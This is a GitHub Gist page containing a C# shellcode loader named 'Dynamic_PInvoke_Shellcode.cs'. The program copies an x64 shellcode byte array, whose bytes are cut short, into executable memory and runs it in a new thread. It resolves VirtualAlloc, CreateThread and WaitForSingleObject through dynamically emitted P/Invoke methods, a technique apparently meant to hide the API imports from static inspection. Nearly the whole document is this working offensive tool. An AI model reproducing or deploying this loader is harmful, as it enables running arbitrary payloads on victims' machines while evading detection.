Last active
November 13, 2024 07:34
-
-
Save bohops/4f98002ecfa85e173e8b4873690663f5 to your computer and use it in GitHub Desktop.
Dynamic_PInvoke_Shellcode.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs | |
using System; | |
using System.Runtime.InteropServices; | |
using System.Reflection; | |
using System.Reflection.Emit; | |
namespace ShellcodeLoader | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
byte[] x64shellcode = new byte[294] {0xfc,0x48, ... }; | |
IntPtr funcAddr = VirtualAlloc( | |
IntPtr.Zero, | |
(uint)x64shellcode.Length, | |
(uint)StateEnum.MEM_COMMIT, | |
(uint)Protection.PAGE_EXECUTE_READWRITE); | |
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length); | |
IntPtr hThread = IntPtr.Zero; | |
uint threadId = 0; | |
IntPtr pinfo = IntPtr.Zero; | |
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
WaitForSingleObject(hThread, 0xFFFFFFFF); | |
return; | |
} | |
public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) | |
{ | |
AssemblyName assemblyName = new AssemblyName("Temp01"); | |
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); | |
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02"); | |
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi); | |
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig); | |
moduleBuilder.CreateGlobalFunctions(); | |
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method); | |
object res = dynamicMethod.Invoke(null, args); | |
return res; | |
} | |
public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect) | |
{ | |
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32) }; | |
Object[] args = { lpAddress, dwSize, flAllocationType, flProtect }; | |
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes); | |
return (IntPtr)res; | |
} | |
public static IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId) | |
{ | |
Type[] paramTypes = { typeof(UInt32), typeof(UInt32), typeof(IntPtr), typeof(IntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType() }; | |
Object[] args = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId }; | |
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "CreateThread", args, paramTypes); | |
return (IntPtr)res; | |
} | |
public static Int32 WaitForSingleObject(IntPtr Handle, UInt32 Wait) | |
{ | |
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32) }; | |
Object[] args = { Handle, Wait }; | |
object res = DynamicPInvokeBuilder(typeof(Int32), "Kernel32.dll", "WaitForSingleObject", args, paramTypes); | |
return (Int32)res; | |
} | |
public enum StateEnum | |
{ | |
MEM_COMMIT = 0x1000, | |
MEM_RESERVE = 0x2000, | |
MEM_FREE = 0x10000 | |
} | |
public enum Protection | |
{ | |
PAGE_READONLY = 0x02, | |
PAGE_READWRITE = 0x04, | |
PAGE_EXECUTE = 0x10, | |
PAGE_EXECUTE_READ = 0x20, | |
PAGE_EXECUTE_READWRITE = 0x40, | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment